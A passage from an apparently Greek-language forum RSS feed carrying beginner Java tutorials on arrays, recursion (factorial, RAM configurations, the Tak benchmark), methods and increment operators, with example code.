		<link>http://www.hackeruniversity.gr/forum/index.php?showtopic=940</link>
		<description><![CDATA[Οι κύριες μέθοδοι μιας εφαρμογής αποθηκεύουν τα command line arguments σ’έναν πίνακα από αλφαριθμητικά που ονομάζεται args. <br />Ας θεωρήσουμε μια κλάση που μετρά πόσες φορές επαναλαμβάνονται τα ψηφία 0-9 στο δεκαδικό μέρος του αριθμού pi για παράδειγμα. Τα ψηφία θα πρέπει να επαναλαμβάνονται με την ίδια συχνότητα μετά από ένα μεγάλο χρονικό διάστημα.<br /><br />Αυτό θα το δούμε δημιουργώντας έναν πίνακα από 10 longs που ονομάζεται ndigit. Το μηδενικό στοιχείο του ndigit θα ανιχνεύει τον αριθμό των μηδενικών, το πρώτο στοιχείο του ndigit θα ανιχνεύει τον αριθμό των άσσων και ούτω καθεξής. Ελέγχουμε τον random number generator της Java για να δούμε αν παράγει τυχαίους αριθμούς.<br /><br /><br />import java.util.*;<br /><br />class RandomTest {<br /><br />  public static void main (String args[]) {<br />  <br />    int[] ndigits = new int[10];<br />    double x;<br />    int n;<br />    <br />    Random myRandom = new Random();<br />  <br />    // Initialize the array <br />    for (int i = 0; i &lt; 10; i++) {<br />      ndigits[i] = 0;<br />    }<br /><br />    // Test the random number generator a whole lot<br />    for (long i=0; i &lt; 100000; i++) {<br />      // generate a new random number between 0 and 9<br />      x = myRandom.nextDouble() * 10.0;<br />      n = (int) x;<br />      //count the digits in the random number<br />      ndigits[n]++;<br />    }<br />    <br />    // Print the results<br />    for (int i = 0; i &lt;= 9; i++) {<br />      System.out.println(i+": " + ndigits[i]);<br />    }<br />  }<br />  <br />}<br /><br />Έχουμε τρεις βρόγχους for στον παρακάτω κώδικα, έναν για να αρχικοποιήσουμε τον πίνακα, έναν για να πραγματοποιήσουμε τον επιθυμητό υπολογισμό και έναν τρίτο για να τυπώνει τα αποτελέσματα. Αυτό είναι αρκετά συνηθισμένο σε κώδικες που χρησιμοποιούν πίνακες.]]></description>
		<pubDate>Mon, 15 Jun 2009 21:37:38 +0300</pubDate>
		<guid>http://www.hackeruniversity.gr/forum/index.php?showtopic=940</guid>
	</item>
	<item>
		<title>ΔΗΜΙΟΥΡΓΙΑ ΠΙΝΑΚΩΝ</title>
		<link>http://www.hackeruniversity.gr/forum/index.php?showtopic=939</link>
		<description><![CDATA[Υπάρχουν τρία στάδια για τη δημιουργία πινάκων:<br /><br /><ul><li><b>Να δηλώσουμε τον πίνακα</b></li></ul><ul><li><b>Να ορίσουμε τον πίνακα</b></li></ul><ul><li><b>Να αρχικοποιήσουμε τον πίνακα</b></li></ul><b><u>Δήλωση Πινάκων</u></b>. Όπως και οι άλλες μεταβλητές στη Java, ένας πίνακας πρέπει να έχει ένα συγκεκριμένο τύπο όπως byte, int, string ή double. Μόνο μεταβλητές του αντίστοιχου τύπου μπορούν να αποθηκευτούν σε έναν πίνακα. Για παράδειγμα δεν μπορούμε να έχουμε έναν πίνακα που να αποθηκεύει και ints και strings.<br /><br />Όπως και οι άλλες μεταβλητές στη Java, έτσι και οι πίνακες πρέπει να δηλώνονται. Όταν δηλώνουμε έναν πίνακα βάζουμε στον τύπο και το [] που δείχνει ότι η μεταβλητή είναι ένας πίνακας. Ακολουθούν μερικά παραδείγματα:<br /><br />int[] k;<br /><br />float[] yt;<br /><br />String[] names;<br /><br />Με άλλα λόγια δηλώνουμε έναν πίνακα όπως δηλώνουμε οποιαδήποτε άλλη μεταβλητή μόνο που βάζουμε και αγκύλες στο τέλος του τύπου της μεταβλητής.<br /><br /><b><u>Ορισμός Πινάκων</u></b>. Για να δημιουργήσουμε έναν πίνακα χρησιμοποιούμε τον τελεστή new. Πρέπει να πούμε στον compiler πόσα στοιχεία θα αποθηκευτούν στον πίνακα. Πιο κάτω βλέπουμε πώς δημιουργούμε τις μεταβλητές:<br /><br />k = new int[3];<br /><br />yt = new float[7];<br /><br />names = new String[50];<br /><br />Τα νούμερα στις αγκύλες καθορίζουν τη διάσταση του πίνακα, δηλαδή πόσες θέσεις έχει. Ο k μπορεί να κρατήσει τρία ints, ο yt μπορεί να κρατήσει επτά floats και ο names μπορεί να κρατήσει πενήντα strings. Συνήθως αυτό ονομάζεται ορισμός του πίνακα αφού καθορίζει το τμήμα της RAM που χρειάζεται ο πίνακας.<br /><br />Εδώ θα δούμε για πρώτη φορά και τον τελεστή new. O new είναι δεσμευμένη λέξη στη Java και χρησιμοποιείται όχι μόνο για να ορίσει πίνακες αλλά και άλλα είδη αντικειμένων.<br /><br /><b><u>Αρχικοποίηση Πινάκων</u></b>. Κάθε στοιχείο του πίνακα προσδιορίζεται από το όνομα του πίνακα και από έναν ακέραιο που φανερώνει τη θέση του στον πίνακα. Οι αριθμοί που χρησιμοποιούνται ονομάζονται δείκτες του πίνακα. Οι δείκτες είναι συνεχόμενοι αριθμοί που ξεκινούν από το 0. Γι’ αυτό και ο πίνακας k έχει τα στοιχεία k[0], k[1] και k[2]. Εφόσον ξεκινάμε από το 0 δεν υπάρχει k[3] και αν προσπαθήσουμε να έχουμε πρόσβαση σ’ αυτό θα δημιουργήσουμε ένα ArrayIndexOutOfBoundsException.<br /><br />Παρακάτω θα δούμε πώς αποθηκεύουμε τιμές στους πίνακες:<br /><br />k[0] = 2;<br /><br />k[1] = 5;<br /><br />k[2] = -2;<br /><br />yt[6] = 7.5f;<br /><br />names[4] = "Fred";<br /><br />Αυτό το βήμα ονομάζεται αρχικοποίηση του πίνακα ή καλύτερα αρχικοποίηση των στοιχείων του πίνακα.<br /><br />Ακόμα και για τους πίνακες μεσαίου μεγέθους είναι σπάνιο να αρχικοποιούμε κάθε στοιχείο ξεχωριστά. Συχνά είναι πιο εύκολο να χρησιμοποιούμε τον βρόγχο for. Για παράδειγμα ακολουθεί ένα loop που γεμίζει έναν πίνακα με τα τετράγωνα των αριθμών από το 0 ως το 100.<br /><br />float[] squares = new float[101];<br /><br />for (int i=0, i &lt;= 100; i++) {<br /><br />squares[i] = i*i;<br /><br />}<br /><br /><b><u>Θα πρέπει να προσέξετε δύο σημεία του κώδικα:</u></b><br /><!--fonto:Palatino Linotype--><span style='font-family: "Palatino Linotype"'><!--/fonto--><b>1.</b> Εφόσον οι δείκτες ξεκινούν από το 0, χρειαζόμαστε 101 στοιχεία αν θέλουμε να συμπεριλάβουμε και το τετράγωνο του 100.<br /><b>2. </b>Παρόλο που το i είναι int, γίνεται float όταν αποθηκεύει τετράγωνο αφού δηλώσαμε τα τετράγωνα σαν πίνακα float. <!--fontc--></span><!--/fontc--><br /><br />Ο τρόπος για να αποφύγουμε το πρώτο σημείο είναι το παράδειγμα που ακολουθεί:<br /><br />float[] squares = new float[101];<br /><br />for (int i=0, i &lt; squares.length; i++) {<br /><br />squares[i] = i*i;<br /><br />}<br /><br />Σημειώστε ότι το &lt;= γίνεται &lt;.<br /><br /> <br /><br /><b><u>Συντομεύσεις (Shortcuts)</u></b><br /><br />Πιθανόν να φαίνεται δύσκολη η δημιουργία ενός πίνακα, ειδικά σε κάποιον που έχει μάθει να χειρίζεται γλώσσες όπως η Fortran. Ευτυχώς η Java παρέχει πολλές ευκολίες για τη δήλωση, τον ορισμό και την αρχικοποίηση πινάκων.<br /><br />Μπορούμε να δηλώσουμε και να ορίσουμε έναν πίνακα την ίδια στιγμή:<br /><br />int[] k = new int[3];<br /><br />float[] yt = new float[7];<br /><br />String[] names = new String[50];<br /><br />Μπορούμε ακόμα να δηλώσουμε, να ορίσουμε και να αρχικοποιήσουμε έναν πίνακα την ίδια στιγμή δημιουργώντας μια λίστα με τις αρχικές τιμές μέσα σε αγκύλες όπως πιο κάτω:<br /><br />int[] k = {1, 2, 3};<br /><br />float[] yt = {0.0f, 1.2f, 3.4f, -9.87f, 65.4f, 0.0f, 567.9f};<br /><br /><br /><br />]]></description>
		<pubDate>Mon, 15 Jun 2009 21:37:02 +0300</pubDate>
		<guid>http://www.hackeruniversity.gr/forum/index.php?showtopic=939</guid>
	</item>
	<item>
		<title>ΠΙΝΑΚΕΣ (ARRAYS)</title>
		<link>http://www.hackeruniversity.gr/forum/index.php?showtopic=938</link>
		<description><![CDATA[Στα σημαντικά προβλήματα που αφορούν τους υπολογιστές συχνά χρειάζεται να αποθηκεύουμε λίστες αντικειμένων. Συχνά αυτά τα αντικείμενα καθορίζονται σειριακά και αναφέρονται στη θέση τους στη λίστα. Πολλές φορές η σειρά αυτή είναι φυσική, όπως η σειρά των δέκα πρώτων ανθρώπων που φτάνουν στην τράπεζα. Το πρώτο άτομο θα είναι το αντικείμενο 1 στη λίστα, το δεύτερο άτομο που έφτασε θα είναι το αντικείμενο 2 στη λίστα κτλ. Σε άλλες περιπτώσεις η σειρά αυτή δεν έχει καμία σημασία, όπως στο RAM configuration problem όπου το να έχουμε 4 MB SIMM στη slot Α και 8 ΜB SIMM στη slot B είναι ακριβώς το ίδιο με το να έχουμε 8 MB SIMM στη slot A και 4 MB SIMM στην slot B.<br />Υπάρχουν πολλοί τρόποι για να αποθηκεύσουμε λίστες, όπως συνδεδεμένες λίστες, σύνολα, δέντρα και πίνακες. Ποιο θα προτιμήσετε εξαρτάται από τις απαιτήσεις της εφαρμογής σας και τη φύση των δεδομένων σας. Η Java παρέχει κλάσεις για πολλούς απ’ αυτούς τους τρόπους αποθήκευσης δεδομένων.<br /><br />Oι πίνακες (Arrays) είναι πιθανότατα ο αρχαιότερος και πιο αποτελεσματικός τρόπος αποθήκευσης συνόλων μεταβλητών. Ένας πίνακας είναι ένα σύνολο μεταβλητών που μοιράζονται το ίδιο όνομα και συντάσσονται με τη σειρά από το 0 μέχρι το πλήθος των μεταβλητών μειωμένο κατά 1. Ο αριθμός των μεταβλητών που μπορεί να αποθηκευτεί ονομάζεται διάσταση του πίνακα. Κάθε μεταβλητή ονομάζεται στοιχείο του πίνακα.<br /><br />Ένας πίνακας μπορεί να παρασταθεί σαν στήλη δεδομένων όπως πιο κάτω:<br /><br />I[0]<br /><br /><br />4<br />I[1]	2<br />I[2]	76<br />I[3]	-90<br />I[4]<br />6<br /><br /><br />Σ’ αυτή την περίπτωση βλέπουμε έναν ακέραιο πίνακα που ονομάζεται I με 5 στοιχεία. Ο τύπος του πίνακα είναι int και έχει διάσταση 5.]]></description>
		<pubDate>Mon, 15 Jun 2009 21:33:37 +0300</pubDate>
		<guid>http://www.hackeruniversity.gr/forum/index.php?showtopic=938</guid>
	</item>
	<item>
		<title>ΑΝΑΔΡΟΜΙΚΕΣ ΜΕΘΟΔΟΙ (RECURSIVE METHODS)</title>
		<link>http://www.hackeruniversity.gr/forum/index.php?showtopic=937</link>
		<description><![CDATA[Η Java υποστηρίζει τις αναδρομικές μεθόδους. Για παράδειγμα, αν βρίσκεστε ήδη στη μέθοδοΑ() μπορείτε να καλέσετε τη μέθοδοΑ(). Ο πιο απλός τρόπος για να εξηγήσουμε την αναδρομή είναι να δούμε το απλό ακρονύμιο GNU. Το GNU, εκτός των άλλων, προσπαθεί να παράγει ελεύθερες εκδόσεις του UNIX και πολλά εργαλεία στο UNIX. Ένα βασικό πρόβλημα είναι ότι το όνομα UNIX είναι σήμα κατατεθέν κι έτσι το GNU δε μπορεί να το χρησιμοποιήσει. Έτσι, αντί για το UNIX έχουμε το GNU, όπου GNU σημαίνει «Gnu’s Not Unix». Τι είναι GNU; Ένα επίπεδο είναι «(Gnu’s Not Unix)’s Not Unix». Ένα άλλο είναι «((Gnu’s Not Unix)’s Not Unix)’s Not Unix». Είναι σα να καθόμαστε μπροστά σε καθρέφτες. Στους υπολογιστές η αναδρομή κατορθώνεται με το να επιτρέπουμε σε μια μέθοδο να καλεί τον εαυτό της.<br />Πιθανόν να εντοπίσατε ένα πρόβλημα. Πού σταματούν όλα αυτά; Όταν γράφετε αναδρομικές μεθόδους πρέπει να είστε προσεκτικοί και να συμπεριλαμβάνετε συνθήκες τερματισμού. Παρόλο που η Java δεν θέτει όρια για το βάθος μιας επανάληψης είναι πιθανόν κάτι τέτοιο να χρησιμοποιήσει όλη τη μνήμη του υπολογιστή σας.<br /><br />Ας δούμε ένα παράδειγμα. n! (που το ονομάζουμε «n παραγοντικό») προσδιορίζεται σαν n φορές (n-1) φορές (n-2) φορές ....*2 φορές*1, όπου το n είναι ένας θετικός ακέραιος. 0! προσδιορίζεται σαν 1. Όπως θα δούμε n!=n φορές (n-1)!. Aυτό οδηγεί σ’ έναν αναδρομικό υπολογισμό, όπως στην παρακάτω μέθοδο:<br /><br /><br />public static long factorial (int n) {<br /><br />  if (n == 0) {<br />    return 1;<br />  }<br />  else {<br />    return n*factorial(n-1);<br />  }<br /><br />}<br /><br /> Τι γίνεται όμως όταν ένας αρνητικός ακέραιος μπει στη μέθοδο factorial; Για παράδειγμα, ας υποθέσουμε ότι ζητάμε το παραγοντικό (-1). Τότε έχουμε σαν αποτέλεσμα το -1*-2*-3*-4*... Αν είστε τυχεροί, το πρόγραμμα μπορεί απροσδόκητα να φτάσει στους θετικούς αριθμούς και να μετρήσει μετά το 0. Αν όχι, τότε το πρόγραμμα πέφτει πάνω σε ένα StackOutOfMemoryError. Οι συνθήκες τερματισμού είναι πολύ σημαντικές. Σ’ αυτή την περίπτωση θα πρέπει να ελέγξετε αν περάσατε έναν αρνητικό ακέραιο. Αν ναι, επιστρέφει άπειρο. ( Η factorial είναι μια ειδική περίπτωση της λειτουργίας gamma για τους μη αρνητικούς ακέραιους. Παρόλο που η συνάρτηση factorial ορίζεται μόνο για τους θετικούς ακέραιους, η gamma ορίζεται για όλους τους πραγματικούς αριθμούς. Είναι δυνατόν να δείξουμε ότι η gamma είναι άπειρη για τους αρνητικούς ακέραιους). Η Java δεν υποστηρίζει τις άπειρες τιμές κι έτσι επιστρέφει την προειδοποιητική τιμή -1. Ακολουθεί μια καλύτερη αναδρομική παραγοντική μέθοδος:<br /><br />public static long factorial (int n) {<br /><br />  if (n &lt; 0) {<br />    return -1;<br />  } <br />  else if (n == 0) {<br />    return 1;<br />  }<br />  else {<br />    return n*factorial(n-1);<br />  }<br /><br />}<br /><br />Μπορεί να αποδειχθεί μαθηματικά ότι όλοι οι αναδρομικοί αλγόριθμοι έχουν μη αναδρομικά αντίτυπα. Για παράδειγμα η αναδρομική μέθοδος μπορεί να γραφτεί μη αναδρομικά όπως παρακάτω:<br /><br /><br />public static long factorial (int n) {<br /><br />  long result = 1;<br />  <br />  for (int i = 1; i &lt;= n; i++) {<br />    result *= i;<br />  }<br />  <br />  return result;<br /><br />}<br /><br />Η μη αναδρομική μέθοδος στο πρόβλημα είναι ολοφάνερη αλλά υπάρχουν και περιπτώσεις που δεν είναι.<br /><br />Ακολουθεί ένα παράδειγμα ενός αναδρομικού προγράμματος για το οποίο δεν μπορέσαμε να βρούμε μία απλή μη αναδρομική αντίστοιχη μέθοδο. Είναι ένα επαναληπτικό πρόγραμμα που υπολογίζει και τυπώνει όλα τα πιθανά RAM configurations:<br /><br /><br />import java.util.Hashtable;<br />import java.util.Enumeration;<br /><br />public class RamConfig {<br /><br />   static int[] sizes = {0, 8, 16, 32, 64};<br />   static Hashtable configs = new Hashtable(64);<br />   static int slots[] = new int[4];<br /><br />   public static void main (String args[]) {<br /><br />     System.out.println("Available DIMM sizes are: ");<br />     for (int i=0; i &lt; sizes.length; i++) System.out.println(sizes[i]);<br /><br />     fillSlots(slots.length - 1);<br />     System.out.println("Ram configs are: ");<br /><br />     for (Enumeration e = configs.elements(); e.hasMoreElements(); ) {<br />       System.out.println(e.nextElement());    <br />     }<br />     <br />   }<br />   <br />  <br />  private static void fillSlots(int n) {<br />  <br />    int total;<br />     <br />    for (int i=0; i &lt; sizes.length; i++) {<br />       slots[n] = sizes[i];<br />       if (n == 0) {<br />          total = 0;<br />          for (int j = 0; j &lt; slots.length; j++) {<br />            total += slots[j];<br />          }<br />          configs.put(Integer.toString(total), new Integer(total));<br />       }<br />       else {<br />         fillSlots(n - 1);<br />       }<br />    }      <br />  <br />  }<br />  <br />}<br /><br />H αναδρομή δοκιμάζει την ταχύτητα με την οποία μια γλώσσα καλεί τις μεθόδους της. Αυτό είναι σημαντικό γιατί οι μοντέρνες εφαρμογές έχουν μια τάση να καταναλώνουν το χρόνο τους κάνοντας διάφορες API λειτουργίες. Η PCWeek χρησιμοποιεί το ονομαζόμενο Tak που πραγματοποιεί 63,609 καλέσματα επαναληπτικών μεθόδων ανά πέρασμα. Ο αλγόριθμος είναι απλός. Αν το y είναι μεγαλύτερο ή ίσο με το x τότε Tak(x,y,z) είναι το z. Aυτή είναι η μη αναδρομική συνθήκη τερματισμού. Διαφορετικά αν το y είναι μικρότερο από το x, το Tak(x,y,z) είναι το Tak(Tak(x-1, y, z), Tak(y-1, z, x), Tak(z-1, x, y)). To Tak υπολογίζει το Tak(18,12,6) μεταξύ 100 και 10.000 φορές και δίνει τον αριθμό των περασμάτων ανά δευτερόλεπτο. Για περισσότερες πληροφορίες για το Tak δείτε το άρθρο του Peter Coffee «Tak test stands the test of time» στη σελ 91 στο PCWeek της 9/30/1996.<br /><br />Παρακάτω ακολουθεί μια παραλλαγή. Υπάρχουν εκδόσεις πολυμορφικών ακεραίων και κινητής υποδιαστολής στη μέθοδο Tak. Εξ ορισμού χρησιμοποιείται ακέραιος. Αν η σημαία f δίνεται στο command line, χρησιμοποιείται η μέθοδος της κινητής υποδιαστολής. Στο command line μπορεί να εισάγεται και ο αριθμός των περασμάτων. Αν όχι, τότε πραγματοποιούνται 1000 περάσματα. Ακολουθεί η κλάση Date της Java:<br /><br /><br />import java.util.Date;<br /><br /><br />public class Tak {<br /><br />  public static void main(String[] args) {<br />   <br />   boolean useFloat = false;<br />   int numpasses;<br />   <br />   for (int i = 0; i &lt; args.length; i++) {<br />     if (args[i].startsWith("-f")) useFloat = true;<br />   }<br />   try {<br />     numpasses = Integer.parseInt(args[args.length-1]);<br />   }<br />   catch (Exception e) {<br />     numpasses = 1000;<br />   }<br />   <br />   Date d1 = new Date();<br />   for (int i = 0; i &lt; numpasses; i++) {<br />      Tak(18.0f, 12.0f, 6.0f);<br />   }<br />   Date d2 = new Date();<br />   long TimeRequired = d2.getTime() - d1.getTime();<br />   double numseconds = TimeRequired/1000.0;<br />   <br />   System.out.println("Completed " + numpasses + " passes in " <br />    + numseconds + " seconds" );<br />   System.out.println(numpasses/numseconds + " calls per second");<br />  <br />  }<br /><br />  public static int Tak (int x, int y, int z) {<br />    if (y &gt;= x) return z;<br />    else return Tak(Tak(x-1, y, z), Tak(y-1, z, x), Tak(z-1, x, y));   <br />  <br />  }<br /><br />  public static float Tak (float x, float y, float z) {<br />    if (y &gt;= x) return z;<br />    else return Tak(Tak(x-1.0f, y, z), Tak(y-1.0f, z, x), Tak(z-1.0f, x, y));   <br />  <br />  }<br /><br />}<br /><br /><b><u><!--sizeo:4--><span style="font-size:14pt;line-height:100%"><!--/sizeo-->AΣΚΗΣΗ<!--sizec--></span><!--/sizec--></u></b><br /><b>1.</b><!--fonto:Palatino Linotype--><span style='font-family: "Palatino Linotype"'><!--/fonto--> Βρείτε τον μη επαναληπτικό ισότιμο αλγόριθμο Ram Config.<br /><br /><!--fontc--></span><!--/fontc-->]]></description>
		<pubDate>Mon, 15 Jun 2009 21:33:07 +0300</pubDate>
		<guid>http://www.hackeruniversity.gr/forum/index.php?showtopic=937</guid>
	</item>
	<item>
		<title>ΜΕΘΟΔΟΙ (METHODS)</title>
		<link>http://www.hackeruniversity.gr/forum/index.php?showtopic=936</link>
		<description><![CDATA[Όλα τα παραπάνω προγράμματα που έχουμε γράψει μέχρι τώρα είναι πολύ απλά κι έχουν λιγότερο από 50 γραμμές κώδικα το καθένα. Καθώς τα προγράμματα μεγαλώνουν σε έκταση είναι λογικό να τα χωρίζουμε σε τμήματα. Κάθε τμήμα μπορεί να πραγματοποιήσει έναν υπολογισμό και πιθανότατα να επιστρέψει μία τιμή. Αυτό είναι πολύ χρήσιμο, ειδικά όταν ο υπολογισμός θα επαναληφθεί σε διάφορα άλλα μέρη του προγράμματος. Επίσης βοηθάει στο να προσδιοριστεί με πιο σαφή τρόπο η ροή ενός προγράμματος, όπως η περίληψη προσδιορίζει τη ροή ενός βιβλίου.<br />Κάθε υπολογιστικό τμήμα ενός προγράμματος ονομάζεται μέθοδος. Οι μέθοδοι είναι αντίστοιχες με τις λειτουργίες (functions) της C, τις διαδικασίες και λειτουργίες (procedures and functions) της Pascal και τις λειτουργίες και υπορουτίνες (functions and subroutines) της Fortran.<br /><br />Τα παραπάνω προγράμματα χρησιμοποίησαν έναν αριθμό μεθόδων, παρόλο που οι μέθοδοι αυτές παρέχονται από το σύστημα. Όταν γράψαμε System.out.println(«Hello World!»);. Στο πρώτο πρόγραμμα χρησιμοποιήσαμε τη μέθοδο System.out.println(). (Για να είμαστε πιο συγκεκριμένοι, χρησιμοποιήσαμε τη μέθοδο println() του τμήματος out στην κλάση System. Θα μιλήσουμε γι’ αυτό στο κεφάλαιο 4). H μέθοδος System.out.println() απαιτεί αρκετό κώδικα ο οποίος υπάρχει στις βιβλιοθήκες του συστήματος. Έτσι, αντί να συμπεριλαμβάνουμε τον κώδικα κάθε φορά που θέλουμε να τυπώσουμε, απλά καλούμε τη μέθοδο System.out.println().<br /><br />Μπορείτε να γράψετε και να καλέσετε τις δικές σας μεθόδους. Ας δούμε ένα απλό παράδειγμα. Το παρακάτω είναι ένα απλό πρόγραμμα που ζητά έναν αριθμό από τον χρήστη και μετά υπολογίζει την παράγωγο του αριθμού.<br /><br />Θα χρησιμοποιήσουμε δύο μεθόδους στο πρόγραμμα, μία που ελέγχει αν ο χρήστης εισήγαγε έναν έγκυρο, θετικό ακέραιο και μία άλλη που υπολογίζει την παράγωγο. Θα ξεκινήσουμε γράφοντας την κύρια μέθοδο του προγράμματος:<br /><br /><br />class Factorial {<br /><br />  public static void main(String args[]) {<br /><br />    int n;<br /><br />    while ((n = getNextInteger()) &gt;= 0)  {<br />      System.out.println(factorial(n));<br />    }<br /><br />  } // main ends here<br /><br />}<br /><br />Εκτός των άλλων, ο κώδικας αυτός αποδεικνύει ότι οι μέθοδοι καθιστούν δυνατό να σχεδιαστεί η ροή του προγράμματος χωρίς περιττές λεπτομέρειες. Απλά ονομάσαμε δύο μεθόδους getNextInteger() και factorial(), χωρίς να ανησυχούμε για την εφαρμογή τους. Μπορούμε να προσθέσουμε τον υπόλοιπο κώδικα σε μικρότερα, ευκολονόητα τμήματα. Ας γράψουμε πρώτα τη μέθοδο factorial: <br /><br />long factorial (long n) {<br /><br />  int i;<br />  long result=1;<br />  <br />  for (i=1; i &lt;= n; i++) {<br />   result *= i;<br />  }<br />  <br />  return result;<br /><br />} // factorial ends here<br /><br />Θα μπορούσαμε να συμπεριλάβουμε αυτό τον κώδικα στη μέθοδο main αλλά είναι πιο εύκολο να κατανοήσουμε τον αλγόριθμο σπάζοντας τον κώδικα σε μικρότερα τμήματα. Είναι επίσης πιο εύκολο να ελέγξουμε και να διορθώσουμε. Μπορούμε να γράψουμε ένα απλό πρόγραμμα που θα μας επιτρέπει να ελέγχουμε τη μέθοδο factorial προτού μας απασχολήσει το αν είναι αποδεκτή και έγκυρη η είσοδος του χρήστη. Ακολουθεί το πρόγραμμα ελέγχου:<br /><br /><br />class FactorialTest {<br /><br />  public static void main(String args[]) {<br /><br />    int n;<br />    int i;<br />    long result;<br /><br />    for (i=1; i &lt;=10; i++)  {<br />      result = factorial(i);<br />      System.out.println(result);<br />    }<br /><br />  } // main ends here<br />  <br />  <br />  static long factorial (int n) {<br /><br />  int i;<br />  long result=1;<br />  <br />  for (i=1; i &lt;= n; i++) {<br />   result *= i;<br />  }<br />  <br />  return result;<br /><br />} // factorial ends here<br /><br /><br />}<br /><br />Οι προγραμματιστές της C θα πρέπει να προσέξουν ότι και οι δύο μέθοδοι προσδιορίζονται μέσα σε ορισμό κλάσης (class definition). Παρατηρούμε για άλλη μια φορά ότι τα πάντα στη Java ανήκουν σε κλάσεις.<br /><br />Ας δούμε με μια πιο προσεκτική ματιά τη σύνταξη της μεθόδου:<br /><br /><br /> static long factorial (int n) {<br /><br />  int i;<br />  long result=1;<br />  <br />  for (i=1; i &lt;= n; i++) {<br />   result *= i;<br />  }<br />  <br />  return result;<br /><br />}<br /><br />Οι μέθοδοι ξεκινούν με μία δήλωση. Αυτό μπορεί να περιλαμβάνει από 3 έως 5 τμήματα. Πρώτα είναι ένας προαιρετικός καθοριστής πρόσβασης (optional access specifier), που μπορεί να είναι γενικός (public), ιδιωτικός (private) ή προστατευόμενος (protected). Μία γενική μέθοδο μπορούμε να την καλέσουμε από παντού. Μία ιδιωτική μέθοδος μπορεί να χρησιμοποιηθεί μόνο από την κλάση που προσδιορίζεται. Μία προστατευμένη μέθοδος μπορεί να χρησιμοποιηθεί οπουδήποτε εντός του πακέτου που προσδιορίζεται. Οι μέθοδοι που δεν έχουν δηλωθεί σαν γενικές ή ιδιωτικές θεωρούνται προστατευόμενες.Στη συνέχεια αποφασίζουμε αν μια μέθοδος είναι στατική ή όχι. Οι στατικές μέθοδοι έχουν ένα στιγμιότυπο ανά κλάση παρά ένα παράδειγμα ανά αντικείμενο. Όλα τα αντικείμενα μιας κλάσης μοιράζονται ένα αντίγραφο της στατικής μεθόδου. Εξ’ ορισμού οι μέθοδοι δεν είναι στατικές.<br /><br />Στη συνέχεια εξειδικεύουμε τον τύπο επιστροφής. Αυτό είναι η τιμή που θα επιστραφεί στην καλούμενη μέθοδο όταν τελειώσουν όλοι οι υπολογισμοί μέσα στη μέθοδο. Για παράδειγμα, αν ο τύπος επιστροφής είναι int, μπορούμε να χρησιμοποιήσουμε τη μέθοδο όπου χρησιμοποιούμε έναν σταθερό ακέραιο. Αν ο τύπος επιστροφής είναι void, τότε δεν επιστρέφεται καμία τιμή.<br /><br />Έπειτα ακολουθεί το όνομα της μεθόδου.<br /><br />Στη συνέχεια έχουμε τις παρενθέσεις. Μέσα στις παρενθέσεις δίνουμε ονόματα και τύπους στα ορίσματα της μεθόδου. Μία μέθοδος μπορεί να έχει κανένα, ένα ή πολλά ορίσματα. Τα ορίσματα αυτά μπορούν να χρησιμοποιηθούν μέσα στη μέθοδο όπως οι τοπικές μεταβλητές.<br /><br />Τέλος το υπόλοιπο της μεθόδου περικλείεται μέσα σε άγκιστρα τα οποία το κάνουν ένα απλό μπλοκ. Το τμήμα μέσα στα άγκιστρα είναι όπως οι κύριες μέθοδοι. Υπάρχουν δηλώσεις μεταβλητών, κώδικας και τέλος κάτι νέο, μία δήλωση επιστροφής, η οποία στέλνει μια τιμή πίσω στην καλούμενη μέθοδο. Ο τύπος της τιμής αυτής πρέπει να συμφωνεί με τον τύπο που δηλώθηκε στη μέθοδο.<br /><br />Γενικά κάθε γραμμή που μοιάζει με το Text(arg1, arg 2) ή με το text(arg 1) ή text() είναι ένα κάλεσμα μεθόδου. Ο compiler είναι υπεύθυνος για να αναγνωρίσει μεταξύ των παρενθέσεων, ποιες σημαίνουν κάλεσμα μεθόδου και ποιες χρησιμοποιούνται σε μαθηματικές εκφράσεις, όπως (3+7)*2. Ο compiler κάνει καλή δουλειά σ’ αυτό και μπορείτε με ασφάλεια να συμπεράνετε ότι ό,τι δεν είναι αριθμητική έκφραση είναι κάλεσμα μεθόδου.<br /><br />Οι μέθοδοι χωρίζουν ένα πρόγραμμα σε αλγόριθμους και υπολογισμούς. Σε μεγάλα προγράμματα είναι απαραίτητο να χωρίζουμε τα δεδομένα.]]></description>
		<pubDate>Mon, 15 Jun 2009 21:31:49 +0300</pubDate>
		<guid>http://www.hackeruniversity.gr/forum/index.php?showtopic=936</guid>
	</item>
	<item>
		<title>ΤΕΛΕΣΤΕΣ ΕΚΧΩΡΗΣΗΣ, ΑΥΞΗΣΗΣ, ΜΕΙΩΣΗΣ (ASSIGNMENT,INCREMENT AND DECREMENT OPERATORS)</title>
		<link>http://www.hackeruniversity.gr/forum/index.php?showtopic=935</link>
		<description><![CDATA[Στην πραγματικότητα, κανένας δεν γράφει βρόγχους for, όπως κάναμε εμείς στις προηγούμενες ενότητες. Στη θέση τους χρησιμοποιούν τους τελεστές προσαύξησης ή μείωσης. Δύο από αυτούς, το ++ και -- λειτουργούν όπως στο ακόλουθο παράδειγμα.<br /><br />//Count to ten<br /><br /><br /><br />class CountToTen  {<br /><br />  public static void main (String args[]) {<br />    int i;<br />    for (i=1; i &lt;=10; i++) {  <br />      System.out.println(i);<br />    } <br />    System.out.println("All done!");<br /><br /> }<br /><br />}<br />//Count to ten??<br /><br />class BuggyCountToTen  {<br /><br />  public static void main (String args[]) {<br />    int i;<br />    for (i=1; i &lt;=10; i--) {  <br />      System.out.println(i);<br />    } <br />    System.out.println("All done!");<br /><br />  }<br /><br />}<br /><br /><!--fonto:Palatino Linotype--><span style='font-family: "Palatino Linotype"'><!--/fonto-->Το i++ είναι συντομευμένη η έκφραση i=i+1. Αντίστοιχα, όταν γράφουμε i--, είναι σαν να γράφουμε με συντομία το i=i-1. Ο λόγος που προστέθηκαν αυτοί οι τελεστές στις γλώσσες προγραμματισμού είναι ότι πολύ συχνά προσθέτουμε ή αφαιρούμε τη μονάδα σ’ ένα αριθμό. Έτσι ο κώδικας γίνεται πιο απλός.<!--fontc--></span><!--/fontc--><br /><br /><!--fonto:Palatino Linotype--><span style='font-family: "Palatino Linotype"'><!--/fonto-->Τι γίνεται όμως όταν θέλουμε ν’ αυξήσουμε ένα μέγεθος όχι κατά 1 αλλά κατά 2, 3 ή 15; Θα μπορούσαμε φυσικά να γράψουμε i=i+15, αλλά αυτό συμβαίνει τόσο συχνά, που υπάρχει ένας άλλος τελεστής πρόσθεσης και εκχώρησης, το +=. Έτσι θα γράψουμε i+=15.Αν θέλαμε να μετρήσουμε από το 0 ως το 20 θα γράφαμε:<!--fontc--></span><!--/fontc--><br 